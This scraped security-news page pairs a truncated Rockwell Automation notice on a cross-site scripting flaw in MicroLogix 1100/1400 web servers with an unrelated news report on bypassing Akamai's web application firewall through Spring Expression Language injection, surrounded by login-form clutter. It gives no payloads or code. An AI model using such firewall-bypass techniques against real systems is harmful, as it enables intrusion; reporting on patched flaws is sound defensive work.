What will happen: When you click on this button you will be taken to Yahoo. Once you log in, Yahoo will verify you and send you back here where you'll be logged in!

Log In or Create an AccountOpens new dialog

Please log in to continue, Username Password

Email Address \*

Username \*

Password

Re-enter a value for the field 'Password'

Must match Password

First Name \*

Last Name \*

Forgot your username or password?

The page will refresh upon submission. Any pending input will be lost.

03-Feb-2022 - Important product notice regarding Microsoft vulnerability patch (MS KB5004442)

Current product hierarchy

1.  Automation Control
2.  Programmable Controllers
3.  1761 MicroLogix

ID: PN1612 | Access Levels: Everyone

**Search**

Did you mean:

**Published Date**Published Date 12/13/2022

Executive Summary

Rockwell Automation received a vulnerability report from a security researcher from Georgia Institute of Technology. If exploited, this vulnerability could allow an attacker to submit remote code in t...

**Login Required to View Full Answer Content**

Please use the 'Sign In' button above

CVE-2022-46670: Product Notice 1612: MicroLogix 1100 & 1400 Web Server Application Vulnerable to Cross Site Scripting Attack

Patched several months ago, researcher reports how they used Spring Boot to sneak past Akamai's firewall and remotely execute code.

Akamai's Web application firewall (WAF) is intended to fend off potential attacks like distributed denial-of-service (DDoS), but a researcher discovered a way to bypass its protections by using complex payloads to confuse its rules.

The researcher, known as Peter H., along with Usman Mansha, said Akamai has since patched against the vulnerability, which was not assigned a CVE number. In the write-up, Peter H. explained how he used a vulnerable version of Spring Boot to bypass WAF protections.

"We ended up able to bypass Akamai WAF and achieve Remote Code Execution (P1) using Spring Expression Language injection on an application running Spring Boot," the GitHub explanation of the Akamai WAF RCE find explained. "This was the 2nd RCE via SSTI we found on this program, after the 1st one, the program implemented a WAF which we were able to bypass in a different part of the application."

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Tag

#rce